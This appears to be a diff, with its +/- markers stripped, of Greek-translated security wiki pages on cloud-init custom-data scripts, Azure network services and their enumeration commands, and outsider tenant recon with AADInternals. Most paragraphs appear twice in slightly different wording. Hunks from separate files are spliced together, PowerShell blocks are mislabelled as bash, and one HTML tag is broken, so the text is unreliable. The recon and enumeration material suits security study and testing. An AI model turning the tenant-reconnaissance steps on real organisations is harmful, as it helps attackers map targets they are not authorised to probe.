- **cloud-init:** Από προεπιλογή επεξεργάζεται προσαρμοσμένα δεδομένα και αυτά τα δεδομένα μπορεί να είναι σε [**διάφορες μορφές**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Μπορεί να εκτελέσει ένα σενάριο εύκολα στέλνοντας απλώς το σενάριο στα προσαρμοσμένα δεδομένα.
- Δοκίμασα ότι τόσο το Ubuntu όσο και το Debian εκτελούν το σενάριο που τοποθετείτε εδώ.
- Δεν είναι επίσης απαραίτητο να ενεργοποιήσετε τα δεδομένα χρήστη για να εκτελεστεί αυτό.
@@ -11,8 +11,8 @@
Ένα Εικονικό Δίκτυο Azure (VNet) είναι μια αναπαράσταση του δικού σας δικτύου στο cloud, παρέχοντας **λογική απομόνωση** μέσα στο περιβάλλον Azure που είναι αφιερωμένο στη συνδρομή σας. Τα VNets σας επιτρέπουν να προμηθεύεστε και να διαχειρίζεστε εικονικά ιδιωτικά δίκτυα (VPNs) στο Azure, φιλοξενώντας πόρους όπως Εικονικές Μηχανές (VMs), βάσεις δεδομένων και υπηρεσίες εφαρμογών. Προσφέρουν **πλήρη έλεγχο στις ρυθμίσεις δικτύου**, συμπεριλαμβανομένων των εύρους διευθύνσεων IP, της δημιουργίας υποδικτύων, των πινάκων δρομολόγησης και των πύλων δικτύου.
**Υποδίκτυα** είναι υποδιαιρέσεις εντός ενός VNet, που ορίζονται από συγκεκριμένα **εύρη διευθύνσεων IP**. Με την τμηματοποίηση ενός VNet σε πολλά υποδίκτυα, μπορείτε να οργανώσετε και να ασφαλίσετε πόρους σύμφωνα με την αρχιτεκτονική του δικτύου σας.\
Από προεπιλογή, όλα τα υποδίκτυα εντός του ίδιου Εικονικού Δικτύου Azure (VNet) **μπορούν να επικοινωνούν μεταξύ τους** χωρίς περιορισμούς.
**Υποδίκτυα** είναι υποδιαιρέσεις μέσα σε ένα VNet, καθορισμένες από συγκεκριμένα **εύρη διευθύνσεων IP**. Με την τμηματοποίηση ενός VNet σε πολλαπλά υποδίκτυα, μπορείτε να οργανώσετε και να ασφαλίσετε πόρους σύμφωνα με την αρχιτεκτονική του δικτύου σας.\
Από προεπιλογή, όλα τα υποδίκτυα μέσα στο ίδιο Εικονικό Δίκτυο Azure (VNet) **μπορούν να επικοινωνούν μεταξύ τους** χωρίς περιορισμούς.
**Παράδειγμα:**
@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VNets
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
@@ -49,7 +49,7 @@ Select-Object Name, AddressPrefix
## Ομάδες Ασφαλείας Δικτύου (NSG)
Μια **Ομάδα Ασφαλείας Δικτύου (NSG)** φιλτράρει την κυκλοφορία δικτύου τόσο προς όσο και από πόρους Azure εντός ενός Azure Virtual Network (VNet). Περιέχει ένα σύνολο **κανόνων ασφαλείας** που μπορεί να υποδεικνύει **ποιοι θύρες να ανοίξουν για εισερχόμενη και εξερχόμενη κυκλοφορία** ανάλογα με τη θύρα προέλευσης, τη διεύθυνση IP προέλευσης, τον προορισμό θύρας και είναι δυνατόν να ανατεθεί μια προτεραιότητα (όσο χαμηλότερος είναι ο αριθμός προτεραιότητας, τόσο υψηλότερη είναι η προτεραιότητα).
Μια **Ομάδα Ασφαλείας Δικτύου (NSG)** φιλτράρει την κυκλοφορία δικτύου τόσο προς όσο και από πόρους Azure εντός ενός Azure Virtual Network (VNet). Περιέχει ένα σύνολο **κανόνων ασφαλείας** που μπορεί να υποδεικνύει **ποιοι θύρες να ανοίξουν για εισερχόμενη και εξερχόμενη κυκλοφορία** ανά θύρα προέλευσης, IP προέλευσης, προορισμό θύρας και είναι δυνατόν να ανατεθεί μια προτεραιότητα (όσο χαμηλότερος ο αριθμός προτεραιότητας, τόσο υψηλότερη η προτεραιότητα).
Οι NSGs μπορούν να συσχετιστούν με **υποδίκτυα και NICs.**
@@ -58,7 +58,7 @@ Select-Object Name, AddressPrefix
- Ένας κανόνας εισερχόμενης κυκλοφορίας που επιτρέπει την κυκλοφορία HTTP (θύρα 80) από οποιαδήποτε πηγή στους διακομιστές ιστού σας.
- Ένας κανόνας εξερχόμενης κυκλοφορίας που επιτρέπει μόνο την κυκλοφορία SQL (θύρα 1433) σε μια συγκεκριμένη περιοχή διευθύνσεων IP προορισμού.
### Αρίθμηση
### Αριθμητική
{{#tabs }}
{{#tab name="az cli" }}
@@ -75,7 +75,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List NSGs
Get-AzNetworkSecurityGroup | Select-Object Name, Location
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
@@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall
Το Azure Firewall είναι μια **διαχειριζόμενη υπηρεσία ασφάλειας δικτύου** στο Azure που προστατεύει τους πόρους του cloud ελέγχοντας και ελέγχοντας την κίνηση. Είναι ένα **stateful firewall** που φιλτράρει την κίνηση με βάση κανόνες για τα Layers 3 έως 7, υποστηρίζοντας την επικοινωνία τόσο **εντός του Azure** (ανατολική-δυτική κίνηση) όσο και **προς/από εξωτερικά δίκτυα** (βόρεια-νότια κίνηση). Αναπτύσσεται σε επίπεδο **Virtual Network (VNet)**, παρέχοντας κεντρική προστασία για όλα τα υποδίκτυα στο VNet. Το Azure Firewall κλιμακώνεται αυτόματα για να διαχειριστεί τις απαιτήσεις κίνησης και εξασφαλίζει υψηλή διαθεσιμότητα χωρίς να απαιτεί χειροκίνητη ρύθμιση.
Το Azure Firewall είναι μια **διαχειριζόμενη υπηρεσία ασφάλειας δικτύου** στο Azure που προστατεύει τους πόρους του cloud ελέγχοντας και ελέγχοντας την κυκλοφορία. Είναι ένα **stateful firewall** που φιλτράρει την κυκλοφορία με βάση κανόνες για τα Layers 3 έως 7, υποστηρίζοντας την επικοινωνία τόσο **εντός του Azure** (ανατολική-δυτική κυκλοφορία) όσο και **προς/από εξωτερικά δίκτυα** (βόρεια-νότια κυκλοφορία). Αναπτύσσεται σε επίπεδο **Virtual Network (VNet)**, παρέχοντας κεντρική προστασία για όλα τα υποδίκτυα στο VNet. Το Azure Firewall κλιμακώνεται αυτόματα για να διαχειριστεί τις απαιτήσεις κυκλοφορίας και διασφαλίζει υψηλή διαθεσιμότητα χωρίς να απαιτεί χειροκίνητη ρύθμιση.
Διατίθεται σε τρία SKUs—**Basic**, **Standard** και **Premium**, το καθένα προσαρμοσμένο σε συγκεκριμένες ανάγκες πελατών:
Είναι διαθέσιμο σε τρία SKUs—**Basic**, **Standard** και **Premium**, το καθένα προσαρμοσμένο σε συγκεκριμένες ανάγκες πελατών:
| **Συνιστώμενη Χρήση** | Μικρές/Μεσαίες Επιχειρήσεις (SMBs) με περιορισμένες ανάγκες | Γενική χρήση από επιχειρήσεις, φιλτράρισμα Layer 3–7 | Πολύ ευαίσθητα περιβάλλοντα (π.χ., επεξεργασία πληρωμών) |
| **Συνιστώμενη Χρήση** | Μικρές/Μεσαίες Επιχειρήσεις (SMBs) με περιορισμένες ανάγκες | Γενική χρήση από επιχειρήσεις, φιλτράρισμα Layer 3–7 | Πολύ ευαίσθητα περιβάλλοντα (π.χ., επεξεργασία πληρωμών) |
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| **Απόδοση** | Έως 250 Mbps ροή | Έως 30 Gbps ροή | Έως 100 Gbps ροή |
| **Απόδοση** | Έως 250 Mbps ροή | Έως 30 Gbps ροή | Έως 100 Gbps ροή |
| **Πληροφορίες Απειλών** | Μόνο ειδοποιήσεις | Ειδοποιήσεις και αποκλεισμός (κακόβουλες IP/domains) | Ειδοποιήσεις και αποκλεισμός (προηγμένες πληροφορίες απειλών) |
| **Φιλτράρισμα L3L7** | Βασικό φιλτράρισμα | Stateful φιλτράρισμα σε όλα τα πρωτόκολλα | Stateful φιλτράρισμα με προηγμένη επιθεώρηση |
| **Φιλτράρισμα L3L7** | Βασικό φιλτράρισμα | Stateful φιλτράρισμα σε πρωτόκολλα | Stateful φιλτράρισμα με προηγμένη επιθεώρηση |
| **Προστασία από Προηγμένες Απειλές** | Μη διαθέσιμο | Φιλτράρισμα βασισμένο σε πληροφορίες απειλών | Περιλαμβάνει Σύστημα Ανίχνευσης και Πρόληψης Εισβολών (IDPS) |
| **Επιθεώρηση TLS** | Μη διαθέσιμο | Μη διαθέσιμο | Υποστηρίζει τερματισμό TLS εισερχόμενης/εξερχόμενης κίνησης |
| **Επιθεώρηση TLS** | Μη διαθέσιμο | Μη διαθέσιμο | Υποστηρίζει τερματισμό TLS εισερχόμενης/εξερχόμενης κυκλοφορίας |
| **Διαθεσιμότητα** | Σταθερό backend (2 VMs) | Αυτόματη κλιμάκωση | Αυτόματη κλιμάκωση |
| **Ευκολία Διαχείρισης** | Βασικοί έλεγχοι | Διαχειρίζεται μέσω του Firewall Manager | Διαχειρίζεται μέσω του Firewall Manager |
| **Ευκολία Διαχείρισης** | Βασικοί έλεγχοι | Διαχειριζόμενο μέσω Firewall Manager | Διαχειριζόμενο μέσω Firewall Manager |
### Enumeration
@@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Firewalls
Get-AzFirewall
@@ -142,9 +142,9 @@ Get-AzFirewall
## Azure Route Tables
Azure **Route Tables** χρησιμοποιούνται για τον έλεγχο της δρομολόγησης της δικτυακής κίνησης εντός ενός υποδικτύου. Ορίζουν κανόνες που καθορίζουν πώς θα πρέπει να προωθούνται τα πακέτα, είτε σε πόρους Azure, στο διαδίκτυο, είτε σε μια συγκεκριμένη επόμενη διαδρομή όπως μια Virtual Appliance ή το Azure Firewall. Μπορείτε να συσχετίσετε έναν πίνακα δρομολόγησης με ένα **subnet**, και όλοι οι πόροι εντός αυτού του υποδικτύου θα ακολουθούν τις διαδρομές στον πίνακα.
Azure **Route Tables** χρησιμοποιούνται για τον έλεγχο της δρομολόγησης της δικτυακής κίνησης εντός ενός υποδικτύου. Ορίζουν κανόνες που καθορίζουν πώς θα πρέπει να προωθούνται τα πακέτα, είτε σε πόρους Azure, στο διαδίκτυο, είτε σε μια συγκεκριμένη επόμενη διαδρομή όπως μια Virtual Appliance ή Azure Firewall. Μπορείτε να συσχετίσετε έναν πίνακα δρομολόγησης με ένα **subnet**, και όλοι οι πόροι εντός αυτού του υποδικτύου θα ακολουθούν τις διαδρομές στον πίνακα.
**Παράδειγμα:** Εάν ένα υποδίκτυο φιλοξενεί πόρους που χρειάζονται να δρομολογήσουν την εξερχόμενη κίνηση μέσω ενός Network Virtual Appliance (NVA) για επιθεώρηση, μπορείτε να δημιουργήσετε μια **διαδρομή** σε έναν πίνακα δρομολόγησης για να ανακατευθύνετε όλη την κίνηση (π.χ., `0.0.0.0/0`) στη διεύθυνση IP του NVA ως την επόμενη διαδρομή.
**Παράδειγμα:** Εάν ένα υποδίκτυο φιλοξενεί πόρους που χρειάζονται να δρομολογήσουν την εξερχόμενη κίνηση μέσω μιας Network Virtual Appliance (NVA) για επιθεώρηση, μπορείτε να δημιουργήσετε μια **διαδρομή** σε έναν πίνακα δρομολόγησης για να ανακατευθύνετε όλη την κίνηση (π.χ., `0.0.0.0/0`) στη διεύθυνση IP του NVA ως την επόμενη διαδρομή.
### **Enumeration**
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Route Tables
Get-AzRouteTable
@@ -171,9 +171,9 @@ Get-AzRouteTable
## Azure Private Link
Το Azure Private Link είναι μια υπηρεσία στο Azure που **επιτρέπει ιδιωτική πρόσβαση σε υπηρεσίες Azure** διασφαλίζοντας ότι **η κίνηση μεταξύ του εικονικού δικτύου Azure (VNet) σας και της υπηρεσίας διασχίζει εξ ολοκλήρου το δίκτυο backbone της Microsoft Azure**. Ενσωματώνει αποτελεσματικά την υπηρεσία στο VNet σας. Αυτή η ρύθμιση ενισχύει την ασφάλεια, καθώς δεν εκθέτει τα δεδομένα στο δημόσιο διαδίκτυο.
Το Azure Private Link είναι μια υπηρεσία στο Azure που **επιτρέπει ιδιωτική πρόσβαση σε υπηρεσίες Azure** διασφαλίζοντας ότι **η κίνηση μεταξύ του εικονικού δικτύου Azure (VNet) σας και της υπηρεσίας διασχίζει αποκλειστικά το δίκτυο backbone της Microsoft Azure**. Ενσωματώνει αποτελεσματικά την υπηρεσία στο VNet σας. Αυτή η ρύθμιση ενισχύει την ασφάλεια, καθώς δεν εκθέτει τα δεδομένα στο δημόσιο διαδίκτυο.
Το Private Link μπορεί να χρησιμοποιηθεί με διάφορες υπηρεσίες Azure, όπως το Azure Storage, το Azure SQL Database και προσαρμοσμένες υπηρεσίες που μοιράζονται μέσω του Private Link. Παρέχει έναν ασφαλή τρόπο κατανάλωσης υπηρεσιών από το δικό σας VNet ή ακόμη και από διαφορετικές συνδρομές Azure.
Το Private Link μπορεί να χρησιμοποιηθεί με διάφορες υπηρεσίες Azure, όπως το Azure Storage, το Azure SQL Database και προσαρμοσμένες υπηρεσίες που μοιράζονται μέσω του Private Link. Παρέχει έναν ασφαλή τρόπο κατανάλωσης υπηρεσιών από το δικό σας VNet ή ακόμα και από διαφορετικές συνδρομές Azure.
> [!CAUTION]
> Τα NSGs δεν ισχύουν για ιδιωτικά endpoints, που σημαίνει σαφώς ότι η συσχέτιση ενός NSG με ένα υποδίκτυο που περιέχει το Private Link δεν θα έχει καμία επίδραση.
@@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -211,7 +211,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
**Παράδειγμα:**
Για παράδειγμα, ένας **λογαριασμός Azure Storage** από προεπιλογή είναι προσβάσιμος μέσω του δημόσιου διαδικτύου. Ενεργοποιώντας έναν **service endpoint για το Azure Storage εντός του VNet σας**, μπορείτε να διασφαλίσετε ότι μόνο η κίνηση από το VNet σας μπορεί να έχει πρόσβαση στον λογαριασμό αποθήκευσης. Το τείχος προστασίας του λογαριασμού αποθήκευσης μπορεί στη συνέχεια να ρυθμιστεί ώστε να δέχεται κίνηση μόνο από το VNet σας.
Για παράδειγμα, ένας **λογαριασμός Azure Storage** είναι προσβάσιμος από προεπιλογή μέσω του δημόσιου διαδικτύου. Ενεργοποιώντας έναν **service endpoint για το Azure Storage εντός του VNet σας**, μπορείτε να διασφαλίσετε ότι μόνο η κίνηση από το VNet σας μπορεί να έχει πρόσβαση στον λογαριασμό αποθήκευσης. Το τείχος προστασίας του λογαριασμού αποθήκευσης μπορεί στη συνέχεια να ρυθμιστεί ώστε να δέχεται κίνηση μόνο από το VNet σας.
### **Enumeration**
@@ -226,7 +226,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Virtual Networks with Service Endpoints
Get-AzVirtualNetwork
@@ -283,7 +283,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Front Door Instances
Get-AzFrontDoor
@@ -295,14 +295,14 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
## Azure Application Gateway και Azure Application Gateway WAF
Azure Application Gateway είναι ένας **ισοσταθμιστής φορτίου διαδικτυακής κίνησης** που σας επιτρέπει να διαχειρίζεστε την κίνηση προς τις **ιστοσελίδες** σας. Προσφέρει **ισοστάθμιση φορτίου επιπέδου 7, τερματισμό SSL και δυνατότητες τείχους προστασίας εφαρμογών ιστού (WAF)** στον Ελεγκτή Παράδοσης Εφαρμογών (ADC) ως υπηρεσία. Κύρια χαρακτηριστικά περιλαμβάνουν δρομολόγηση βάσει URL, προσκόλληση συνεδρίας βάσει cookie και αποφόρτιση επιπέδου ασφαλών υποδοχών (SSL), που είναι κρίσιμα για εφαρμογές που απαιτούν σύνθετες δυνατότητες ισοστάθμισης φορτίου όπως η παγκόσμια δρομολόγηση και η δρομολόγηση βάσει διαδρομής.
Azure Application Gateway είναι ένας **ισοσταθμιστής φορτίου διαδικτυακής κίνησης** που σας επιτρέπει να διαχειρίζεστε την κίνηση προς τις **ιστοσελίδες** σας. Προσφέρει **ισοστάθμιση φορτίου επιπέδου 7, τερματισμό SSL και δυνατότητες τείχους προστασίας εφαρμογών ιστού (WAF)** στον Ελεγκτή Παράδοσης Εφαρμογών (ADC) ως υπηρεσία. Τα κύρια χαρακτηριστικά περιλαμβάνουν δρομολόγηση βάσει URL, προσκόλληση συνεδρίας βάσει cookie και αποφόρτιση ασφαλών υποδοχών (SSL), τα οποία είναι κρίσιμα για εφαρμογές που απαιτούν σύνθετες δυνατότητες ισοστάθμισης φορτίου όπως η παγκόσμια δρομολόγηση και η δρομολόγηση βάσει διαδρομής.
**Παράδειγμα:**
Σκεφτείτε ένα σενάριο όπου έχετε μια ιστοσελίδα ηλεκτρονικού εμπορίου που περιλαμβάνει πολλαπλά υποτομείς για διαφορετικές λειτουργίες, όπως λογαριασμούς χρηστών και επεξεργασία πληρωμών. Το Azure Application Gateway μπορεί να **δρομολογήσει την κίνηση στους κατάλληλους διακομιστές ιστού βάσει της διαδρομής URL**. Για παράδειγμα, η κίνηση προς το `example.com/accounts` θα μπορούσε να κατευθυνθεί στην υπηρεσία λογαριασμών χρηστών, και η κίνηση προς το `example.com/pay` θα μπορούσε να κατευθυνθεί στην υπηρεσία επεξεργασίας πληρωμών.\
Σκεφτείτε ένα σενάριο όπου έχετε μια ιστοσελίδα ηλεκτρονικού εμπορίου που περιλαμβάνει πολλαπλά υποτομείς για διαφορετικές λειτουργίες, όπως λογαριασμούς χρηστών και επεξεργασία πληρωμών. Azure Application Gateway μπορεί να **δρομολογήσει την κίνηση στους κατάλληλους διακομιστές ιστού βάσει της διαδρομής URL**. Για παράδειγμα, η κίνηση προς το `example.com/accounts` θα μπορούσε να κατευθυνθεί στην υπηρεσία λογαριασμών χρηστών, και η κίνηση προς το `example.com/pay` θα μπορούσε να κατευθυνθεί στην υπηρεσία επεξεργασίας πληρωμών.\
Και **να προστατεύσετε την ιστοσελίδα σας από επιθέσεις χρησιμοποιώντας τις δυνατότητες WAF.**
### **Απαρίθμηση**
### **Αριθμητική**
{{#tabs }}
{{#tab name="az cli" }}
@@ -312,7 +312,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
```
@@ -324,7 +324,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
**VNet Peering** είναι μια δυνατότητα δικτύωσης στο Azure που **επιτρέπει σε διαφορετικά Εικονικά Δίκτυα (VNets) να συνδέονται άμεσα και χωρίς προβλήματα**. Μέσω του VNet peering, οι πόροι σε ένα VNet μπορούν να επικοινωνούν με πόρους σε άλλο VNet χρησιμοποιώντας ιδιωτικές διευθύνσεις IP, **σαν να βρίσκονταν στο ίδιο δίκτυο**.\
**Το VNet Peering μπορεί επίσης να χρησιμοποιηθεί με τοπικά δίκτυα** ρυθμίζοντας ένα site-to-site VPN ή Azure ExpressRoute.
**Azure Hub and Spoke** είναι μια τοπολογία δικτύου που χρησιμοποιείται στο Azure για τη διαχείριση και οργάνωση της κυκλοφορίας δικτύου. **Ο "κόμβος" είναι ένα κεντρικό σημείο που ελέγχει και δρομολογεί την κυκλοφορία μεταξύ διαφορετικών "ακτίνων"**. Ο κόμβος περιέχει συνήθως κοινές υπηρεσίες όπως εικονικές συσκευές δικτύου (NVAs), Azure VPN Gateway, Azure Firewall ή Azure Bastion. Οι **"ακτίνες" είναι VNets που φιλοξενούν φόρτους εργασίας και συνδέονται με τον κόμβο χρησιμοποιώντας VNet peering**, επιτρέποντάς τους να εκμεταλλεύονται τις κοινές υπηρεσίες εντός του κόμβου. Αυτό το μοντέλο προάγει μια καθαρή διάταξη δικτύου, μειώνοντας την πολυπλοκότητα κεντροποιώντας κοινές υπηρεσίες που μπορούν να χρησιμοποιήσουν πολλαπλοί φόρτοι εργασίας σε διαφορετικά VNets.
**Azure Hub and Spoke** είναι μια τοπολογία δικτύου που χρησιμοποιείται στο Azure για τη διαχείριση και οργάνωση της κυκλοφορίας δικτύου. **Ο "κόμβος" είναι ένα κεντρικό σημείο που ελέγχει και δρομολογεί την κυκλοφορία μεταξύ διαφορετικών "ακτίνων"**. Ο κόμβος περιέχει συνήθως κοινές υπηρεσίες όπως εικονικές συσκευές δικτύου (NVAs), Azure VPN Gateway, Azure Firewall ή Azure Bastion. Οι **"ακτίνες" είναι VNets που φιλοξενούν φορτία εργασίας και συνδέονται με τον κόμβο χρησιμοποιώντας VNet peering**, επιτρέποντάς τους να εκμεταλλεύονται τις κοινές υπηρεσίες εντός του κόμβου. Αυτό το μοντέλο προάγει μια καθαρή διάταξη δικτύου, μειώνοντας την πολυπλοκότητα κεντροποιώντας κοινές υπηρεσίες που μπορούν να χρησιμοποιηθούν από πολλαπλά φορτία εργασίας σε διαφορετικά VNets.
> [!CAUTION] > **Η σύνδεση VNET είναι μη μεταβατική στο Azure**, που σημαίνει ότι αν η ακτίνα 1 είναι συνδεδεμένη με την ακτίνα 2 και η ακτίνα 2 είναι συνδεδεμένη με την ακτίνα 3, τότε η ακτίνα 1 δεν μπορεί να μιλήσει απευθείας με την ακτίνα 3.
@@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List all VNets in your subscription
Get-AzVirtualNetwork
@@ -361,15 +361,15 @@ Get-AzFirewall
{{#endtab }}
{{#endtabs }}
## VPN Site-to-Site
## Site-to-Site VPN
Ένα VPN Site-to-Site στο Azure σας επιτρέπει να **συνδέσετε το τοπικό σας δίκτυο με το Azure Virtual Network (VNet)**, επιτρέποντας στους πόρους όπως οι VMs μέσα στο Azure να φαίνονται σαν να είναι στο τοπικό σας δίκτυο. Αυτή η σύνδεση καθορίζεται μέσω ενός **VPN gateway που κρυπτογραφεί την κίνηση** μεταξύ των δύο δικτύων.
Ένα Site-to-Site VPN στο Azure σας επιτρέπει να **συνδέσετε το τοπικό σας δίκτυο με το Azure Virtual Network (VNet)**, επιτρέποντας στους πόρους όπως οι VMs μέσα στο Azure να φαίνονται σαν να είναι στο τοπικό σας δίκτυο. Αυτή η σύνδεση καθορίζεται μέσω ενός **VPN gateway που κρυπτογραφεί την κίνηση** μεταξύ των δύο δικτύων.
**Παράδειγμα:**
Μια επιχείρηση με το κύριο γραφείο της στη Νέα Υόρκη έχει ένα τοπικό κέντρο δεδομένων που χρειάζεται να συνδεθεί με ασφάλεια στο VNet της στο Azure, το οποίο φιλοξενεί τα εικονικοποιημένα φορτία εργασίας της. Ρυθμίζοντας ένα **VPN Site-to-Site, η εταιρεία μπορεί να διασφαλίσει κρυπτογραφημένη συνδεσιμότητα μεταξύ των τοπικών διακομιστών και των Azure VMs**, επιτρέποντας στους πόρους να προσπελάζονται με ασφάλεια και στις δύο περιβάλλουσες σαν να βρίσκονται στο ίδιο τοπικό δίκτυο.
Μια επιχείρηση με το κύριο γραφείο της στη Νέα Υόρκη έχει ένα τοπικό κέντρο δεδομένων που χρειάζεται να συνδεθεί με ασφάλεια στο VNet της στο Azure, το οποίο φιλοξενεί τα εικονικοποιημένα φορτία εργασίας της. Ρυθμίζοντας ένα **Site-to-Site VPN, η εταιρεία μπορεί να διασφαλίσει κρυπτογραφημένη συνδεσιμότητα μεταξύ των τοπικών διακομιστών και των Azure VMs**, επιτρέποντας στους πόρους να προσπελάζονται με ασφάλεια και στις δύο περιβάλλουσες, όπως αν βρίσκονταν στο ίδιο τοπικό δίκτυο.
### **Απαρίθμηση**
### **Enumeration**
{{#tabs }}
{{#tab name="az cli" }}
@@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -394,11 +394,11 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## Azure ExpressRoute
Azure ExpressRoute είναι μια υπηρεσία που παρέχει μια **ιδιωτική, αφιερωμένη, υψηλής ταχύτητας σύνδεση μεταξύ της υποδομής σας και των κέντρων δεδομένων Azure**. Αυτή η σύνδεση γίνεται μέσω ενός παρόχου συνδεσιμότητας, παρακάμπτοντας το δημόσιο διαδίκτυο και προσφέροντας περισσότερη αξιοπιστία, ταχύτερες ταχύτητες, χαμηλότερες καθυστερήσεις και υψηλότερη ασφάλεια από τις τυπικές συνδέσεις στο διαδίκτυο.
Το Azure ExpressRoute είναι μια υπηρεσία που παρέχει μια **ιδιωτική, αφιερωμένη, υψηλής ταχύτητας σύνδεση μεταξύ της υποδομής σας και των κέντρων δεδομένων του Azure**. Αυτή η σύνδεση γίνεται μέσω ενός παρόχου συνδεσιμότητας, παρακάμπτοντας το δημόσιο διαδίκτυο και προσφέροντας περισσότερη αξιοπιστία, ταχύτερες ταχύτητες, χαμηλότερες καθυστερήσεις και υψηλότερη ασφάλεια από τις τυπικές συνδέσεις στο διαδίκτυο.
**Παράδειγμα:**
Μια πολυεθνική εταιρεία απαιτεί μια **σταθερή και αξιόπιστη σύνδεση με τις υπηρεσίες Azure λόγω του υψηλού όγκου δεδομένων** και της ανάγκης για υψηλή απόδοση. Η εταιρεία επιλέγει το Azure ExpressRoute για να συνδέσει απευθείας το κέντρο δεδομένων της με το Azure, διευκολύνοντας τις μεταφορές μεγάλου όγκου δεδομένων, όπως καθημερινά αντίγραφα ασφαλείας και αναλύσεις δεδομένων σε πραγματικό χρόνο, με ενισχυμένη ιδιωτικότητα και ταχύτητα.
Μια πολυεθνική εταιρεία απαιτεί μια **σταθερή και αξιόπιστη σύνδεση με τις υπηρεσίες Azure λόγω του υψηλού όγκου δεδομένων** και της ανάγκης για υψηλή απόδοση. Η εταιρεία επιλέγει το Azure ExpressRoute για να συνδέσει απευθείας το κέντρο δεδομένων της με το Azure, διευκολύνοντας τις μεγάλες μεταφορές δεδομένων, όπως οι καθημερινές εφεδρικές αντιγράφες και η ανάλυση δεδομένων σε πραγματικό χρόνο, με ενισχυμένη ιδιωτικότητα και ταχύτητα.
### **Enumeration**
@@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List ExpressRoute Circuits
Get-AzExpressRouteCircuit
```
@@ -13,11 +13,11 @@
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Πληροφορίες σύνδεσης**, συμπεριλαμβανομένου του tenant ID | `Get-AADIntTenantID -Domain <domain>` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Όλα τα domains** του tenant | `Get-AADIntTenantDomains -Domain <domain>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Πληροφορίες σύνδεσης</strong> του tenant, συμπεριλαμβανομένου του ονόματος του tenant και του domain <strong>τύπου αυθεντικοποίησης.</strong><br>Εάν <code>NameSpaceType</code> είναι <strong><code>Managed</code></strong>, σημαίνει ότι χρησιμοποιείται <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Πληροφορίες σύνδεσης</strong> του tenant, συμπεριλαμβανομένου του ονόματος του tenant και του domain <strong>τύπου αυθεντικοποίησης.</strong><brΑν το <code>NameSpaceType</code> είναι <strong><code>Managed</code></strong>, σημαίνει ότι χρησιμοποιείται <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | Πληροφορίες σύνδεσης, συμπεριλαμβανομένων των **πληροφοριών SSO για επιτραπέζιους υπολογιστές** | `Get-AADIntLoginInformation -UserName <UserName>` |
Μπορείτε να ρωτήσετε όλες τις πληροφορίες ενός Azure tenant με **μόνο μία εντολή της** [**AADInternals**](https://github.com/Gerenios/AADInternals) **βιβλιοθήκης**:
```powershell
```bash
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
Παράδειγμα πληροφοριών ενοικιαστή Azure:
@@ -34,9 +34,9 @@ company.mail.onmicrosoft.com True True True Managed
company.onmicrosoft.com True True True Managed
int.company.com False False False Managed
```
